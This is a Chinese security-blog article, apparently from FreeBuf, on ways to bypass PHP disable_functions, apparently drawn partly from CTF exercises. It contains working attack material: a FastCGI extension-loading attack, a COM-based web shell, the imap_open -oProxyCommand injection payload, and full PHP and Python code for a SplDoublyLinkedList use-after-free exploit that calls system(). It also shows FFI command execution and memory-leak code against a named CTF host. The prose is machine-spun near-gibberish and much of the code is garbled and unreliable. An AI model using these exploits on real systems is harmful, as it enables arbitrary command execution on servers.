@return array of NVPair private function readNvpair($data, $length = null) $array = array(); if ($length === null) { $length = strlen($data); $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F 24); $nlen |= (ord($data{$p++}) 16); $nlen |= (ord($data{$p++}) 8); $nlen |= (ord($data{$p++})); $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F 24); $vlen |= (ord($data{$p++}) 16); $vlen |= (ord($data{$p++}) 8); $vlen |= (ord($data{$p++})); $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); return $array; * Decode a FastCGI Packet * @param String $data String containing all the packet * @return array private function decodePacketHeader($data) $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; * Read a FastCGI Packet * @return array private function readPacket() if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); return $resp; } else { return false; * Get Informations on the FastCGI application * @param array $requestedInfo information to retrieve * @return array public function getValues(array $requestedInfo) $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); public function request(array $params, $stdin) $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } while ($resp && $resp['type'] != self::END_REQUEST); if (!is_array($resp)) { throw new Exception('Bad request'); switch (ord($resp['content'][4])) { case self::CANT_MPX_CONN: throw new Exception('This app cant multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response;
$php_value = "extension = /var/www/html/ant.so"; $php_admin_value = "extension = /var/www/html/ant.so"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => '/var/www/html/index.php', 'SCRIPT_NAME' => '/var/www/html/index.php', 'QUERY_STRING' => 'command=ls', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'PHP_ADMIN_VALUE' => $php_admin_value, 'SERVER_SOFTWARE' => 'asd', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) echo "Call: $uri\\n\\n"; var_dump($client->request($params, $code)); ret = execute_php_code(code) print(ret) code = """ antsystem('ls'); ret = execute_php_code(code) print(ret)

依据修改在其中的code便可以,具体实际效果下列:

系统软件系统漏洞应用获得取得成功。

com构件基本概念&应用

务必整体总体目标机器设备考虑到下列三个规范:

com.allow_dcom = trueextension=php_com_dotnet.dllphp>5.4

这时候com构件开启,大伙儿能够在phpinfo看得出到:

要掌握基本概念还是马上从exp看起:

 ?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

最开始,以new COM('WScript.shell')来转换成一个com总体目标,里面的关键主要参数还能够为Shell.Application(网编的win10下检验不了功)。

接着这一com总体目标中存在着exec可以用以推行命令,随后续的方法则是将命令输出,该方式的应用还是较为简单的,都不多讲了。

imap_open

该bypass方式为CVE-2018-19518

基本概念

imap扩展用于在PHP中推行电子器件电子邮件扣除和推送具体实际操作,而imap_open是一个imap扩展的涵数,在运用时一般以下列方法:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那么该涵数在开启情况下开启rsh来连接远程控制操纵shell,而在debian/ubuntu中默认设置设定运用ssh来取代rsh的功效,换句话说在这里里俩系统软件手机软件中开启的实际上是ssh,而ssh里能够依据-oProxyCommand=来开启命令,该挑选项可让得大伙儿在连接互联网网络服务器之前先推行命令,并且务必注意到的是这时候实际上并不是php描述器在推行该系统软件手机软件命令,其以一个独立的全过程去推行了该命令,因此大伙儿也就获得取得成功的bypass disable function了。

那么大伙儿可以先在ubuntu上试验一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

应用

当然自然环境的话vulhub上边有,在这其中得到了poc:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg4CCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

大伙儿可以发现在这其中运用了%09来避开空格符符,以base64的方法来推行大伙儿的命令,那么我这儿再验证一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%三d|base64%09-d|sh}&username=111&password=222
//ls>test

会发现获得取得成功加载了一个test,系统软件系统漏洞应用获得取得成功,那么接下来就是各种各样各种各样明目张胆妄便于。

三种UAF

EXP在:

三种uaf各有是:

Json Serializer UAFGC UAFBacktrace UAF

相关uaf的应用因为涉及到到到二进制相关的技术专业专业知识,而网编是个web狗,因此临时性一直用exp打打,因此这儿都不多讲,就临时性先稍微提一下三种uaf的应用版本号号及其概述//具体上因为我是照本宣科了exp里面的说明,阅读文章者可以看exp写作者的说明便可以了了。

Json Serializer UAF

系统软件系统漏洞出现的版本号号在于:

7.1 - all versions to date7.2 7.2.19 (released: 30 May 2019)7.3 7.3.6 (released: 30 May 2019)

系统软件系统漏洞应用json在编号编码序列化中的堆外流打开bypass,系统软件系统漏洞为

GC UAF

系统软件系统漏洞出现的版本号号在于:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 - all versions to date

系统软件系统漏洞应用的是php garbage collector(废料物收集器)程序中的堆外流做到bypass,系统软件系统漏洞为:

Backtrace UAF

系统软件系统漏洞出现的版本号号在于:

7.0 - all versions to date7.1 - all versions to date7.2 - all versions to date7.3 7.3.15 (released 20 Feb 2020)7.4 7.4.3 (released 20 Feb 2020)

系统软件系统漏洞应用的是 debug_backtrace这一涵数,可以应用该涵数的系统软件系统漏洞返回早就销毁的变量的引进做到堆外流,系统软件系统漏洞为

应用

应用的话exp或者蚁剑上边有利用手机软件了,这儿非常少讲,可以上ctfhub检验。

SplDoublyLinkedList UAF概述

这一UAF是在圣贤上看到的,引进来概述:

可以看到,删除原素的具体实际操作被放进了置空 traverse_pointer 指针前。

因而在删除一个总体目标时,大伙儿可以在其构析涵数中通快递快递公司过 current 访问到这一总体目标,还能够依据 next 访问到下一个原素。倘若这时候下一个原素早就删除除,便会导致 UAF。

PHP 一一部分(仅在 7.4.10、7.3.22、7.2.34 版本号号检验)

exp

exp一样来源于全篇。

php一一部分:

 ?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
 for($j = 0;$j $j++) {
 $a[$p + $j] = chr($i 
 $i >>= 8;
function s2i($s) {
 $result = 0;
 for ($x = 0;$x strlen($s);$x++) {
 $result = 8;
 $result |= ord($s[$x]);
 return $result;
function leak(&$a, $address) {
 global $s;
 i2s($a, 0x00, $address - 0x10);
 return strlen($s -> current());
function getPHPChunk($maps) {
 $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
 preg_match_all($pattern, $maps, $match);
 foreach ($match[1] as $value) {
 list($start, $end) = explode("-", $value);
 if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length = 0x300000) {
 $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
 echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
 return $address;
function bomb1(&$a) {
 if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
 return (s2i($_GET["test1"]) & 0x7ffff0000000);
 }else {
 die("[!]Where is here");
function bomb2(&$a) {
 $start = s2i($_GET["test2"]);
 return getElement($a, array($start, $start + 0x200000, 0x200000));
 die("[!]Not Found");
function getElement(&$a, $address) {
 for ($x = 0;$x ($address[2] / 0x1000 - 2);$x++) {
 $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
 for ($y = 0;$y $y++) {
 if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
 echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
 return $addr + $y * 0x08 - 0x18;
function getClosureChunk(&$a, $address) {
 do {
 $address = leak($a, $address);
 }while(leak($a, $address) !== 0x00);
 echo "[+]Closure Chunk: " . dechex($address) . "\n";
 return $address;
function getSystem(&$a, $address) {
 $start = $address & 0xffffffffffff0000;
 $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
 for($i = 0; $i 0x1000 * 0x80; $i++) {
 $addr = $start - $i * 0x20;
 if ($addr $lowestAddr) {
 break;
 $nameAddr = leak($a, $addr);
 if ($nameAddr > $address || $nameAddr $lowestAddr) {
 continue;
 $name = dechex(leak($a, $nameAddr));
 $name = str_pad($name, 16, "0", STR_PAD_LEFT);
 $name = strrev(hex2bin($name));
 $name = explode("\x00", $name)[0];
 if($name === "system") {
 return leak($a, $addr + 0x08);
class Trigger {
 function __destruct() {
 global $s;
 unset($s[0]);
 $a = str_shuffle(str_repeat("T", 0xf));
 i2s($a, 0x00, 0x1234567812345678);
 i2s($a, 0x08, 0x04, 7);
 $s -> current();
 $s -> next();
 if ($s -> current() !== 0x1234567812345678) {
 die("[!]UAF Failed");
 $maps = file_get_contents("/proc/self/maps");
 if (!$maps) {
 cantRead($a);
 }else {
 canRead($maps, $a);
 echo "[+]Done";
function bypass($elementAddress, &$a) {
 global $s;
 if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
 die("[!]Get Closure Chunk Address Failed");
 $closure_object = leak($a, $closureChunkAddress + 0x18);
 echo "[+]Closure Object: " . dechex($closure_object) . "\n";
 $closure_handlers = leak($a, $closure_object + 0x18);
 echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
 if(!($system_address = getSystem($a, $closure_handlers))) {
 die("[!]Couldn't determine system address");
 echo "[+]Find system's handler: " . dechex($system_address) . "\n";
 i2s($a, 0x08, 0x506, 7);
 for ($i = 0;$i (0x130 / 0x08);$i++) {
 $data = leak($a, $closure_object + 0x08 * $i);
 i2s($a, 0x00, $closure_object + 0x30);
 i2s($s -> current(), 0x08 * $i + 0x100, $data);
 i2s($a, 0x00, $closure_object + 0x30);
 i2s($s -> current(), 0x20, $system_address);
 i2s($a, 0x00, $closure_object);
 i2s($a, 0x08, 0x108, 7);
 echo "[+]Executing command: \n";
 ($s -> current())("php -v");
function canRead($maps, &$a) {
 global $s;
 if (!$chunkAddress = getPHPChunk($maps)) {
 die("[!]Get PHP Chunk Address Failed");
 i2s($a, 0x08, 0x06, 7);
 if (!$elementAddress = getElement($a, $chunkAddress)) {
 die("[!]Get SplDoublyLinkedList Element Address Failed");
 bypass($elementAddress, $a);
function cantRead(&$a) {
 global $s;
 i2s($a, 0x08, 0x06, 7);
 if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
 die("[!]Please try to get address of PHP Chunk");
 if (isset($_GET["test1"])) {
 die(dechex(bomb1($a)));
 if (isset($_GET["test2"])) {
 $elementAddress = bomb2($a);
 if (!$elementAddress) {
 die("[!]Get SplDoublyLinkedList Element Address Failed");
 bypass($elementAddress, $a);
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x 0x100;$x++) {
 $s -> push(0x1234567812345678);
$s -> rewind();
unset($s[0]);

python一一部分:

# -*- coding:utf8 -*-
import requests
import base64
import time
import urllib
from libnum import n2s

if count % 100 == 0: print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr)) content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 continue return content
if count % 10 == 0: print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1)) content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 crashcount += 1 continue print "[+]PHP crash " + str(crashcount) + " times" return content
exit(1) print "---------------------------------------------------------------------------------" addr2 = bomb2(url, int(addr1, 16)) if addr2 is None: exit(1) print "---------------------------------------------------------------------------------" print addr2 else: print content print "[+]Execute Payload Over."
ffi扩展


ffi扩展网编初遇于TCTF/0CTF 2020中的easyphp,那时候候是因为非预计解获得flag发现了ffi三个英语英文字母才把握到php7.4中拥有ffi这种物件。

基本概念

PHP FFI(Foreign Function interface),提供了高级语言马上的互相中间开启,而对于PHP来说,FFI要大家可以方便快捷的开启C语言写的各种各样各种各样库。

换句话说大伙儿可以依据ffi来开启c语言的涵数从而避开disable的限制,大伙儿可以简单运用一个案例来体会一下:

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");

输出下列:

那么这种应用方式可能出现的场景还其实不是很多,因此网编稍微讲解一下。

最开始是cdef:

$ffi = FFI::cdef("int system(const char *command);");

这一行是创建一个ffi总体目标,默认设置设定便会加载标准库,以本本人个人行为例是导进system这一涵数,而这一涵五格数理所理应是存在于标准库文档,那么大伙儿若要导进库时则可以以下列方式:

$ffi = FFI::cdef("int system(const char *command);","libc.so.6");

可以看看其涵数原型:

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

得到了ffi总体目标后大伙儿即可以马上开启涵数了:

$ffi->system("whoami >/tmp/1");

之后的编号较为简单都不多讲,那么接下来看一下实际应用该从哪里着手。

应用

以tctf的题目为例子子,题目马上把cdef过滤了,并且存在着basedir,但大伙儿可让用于前说过bypass basedir来列文档文件目录,逐一尝试能够发现可让用glob列网站网站根目录文档文件目录:

 ?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().' br>');

可以发现网站网站根目录存在着flag.h跟so:

因为后面当然自然环境没有存储,网编这儿简单复述一下那时候候题目的情况(仅针对预计解)。

发现了flag.h之后查寻ffi相关文字文本文档能够发现一个load方法可以加载头文本文档。

因而有着下列:

$ffi = FFI::load("/flag.h");

但当我们们们要想打印头文本文档来得到在其中存在的涵数情况下尴尬的发现下列:

大伙儿无法得到到存在的涵数结构,因此也就无法运用ffi开启涵数,这一步路就断了,并且cdef也被过滤了,无法马上开启system涵数,但查寻文字文本文档能够发现ffi中存在着许多与运作运行内存相关的涵数,因此存在着运作运行内存泄露的可能,这儿应用飘零教师傅的exp:

import requests
url = "pwnable.org:19261"
params = {"rh":
try {
 $ffi=FFI::load("/flag.h");
 //get flag
 //$a = $ffi->flag_wAt3_uP_apA3H1();
 //for($i = 0; $i 128; $i++){
 echo $a[$i];
 $a = $ffi->new("char[8]", false);
 $a[0] = 'f';
 $a[1] = 'l';
 $a[2] = 'a';
 $a[3] = 'g';
 $a[4] = 'f';
 $a[5] = 'l';
 $a[6] = 'a';
 $a[7] = 'g';
 $b = $ffi->new("char[8]", false);
 $b[0] = 'f';
 $b[1] = 'l';
 $b[2] = 'a';
 $b[3] = 'g';
 $newa = $ffi->cast("void*", $a);
 var_dump($newa);
 $newb = $ffi->cast("void*", $b);
 var_dump($newb);
 $addr_of_a = FFI::new("unsigned long long");
 FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
 var_dump($addr_of_a);
 $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
 FFI::memcpy($leak, $newa-0x20000, 102400);
 $tmp = FFI::string($leak,102400);
 var_dump($tmp);
 //var_dump($leak);
 //$leak[0] = 0xdeadbeef;
 //$leak[1] = 0x61616161;
 //var_dump($a);
 //FFI::memcpy($newa-0x8, $leak, 128*8);
 //var_dump($a);
 //var_dump(777);
} catch (FFI\Exception $ex) {
 echo $ex->getMessage(), PHP_EOL;
var_dump(1);
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))

得到到涵若干名后马上开启涵数接着把结果打印出来便可以:

$a = $ffi->flag_wAt3_uP_apA3H1();
for($i=0;$i $i++){
 echo $a[$i];
}

原文中写作者:, 转截请标出来源于于

# php安全性性 # 互连网安全性性技术性性 被以下本人个人专辑百度搜索百度收录,发现很多精彩纷呈纷呈内容 + 盈利我的本人个人专辑 开展很多

点评

按时间排序

请登录/申请办理申请注册后在FreeBuf发布内容哦

相关明显强烈推荐

关 注

0 文章内容內容数 0 点评数 0 关注者 请 / 后在FreeBuf发布内容哦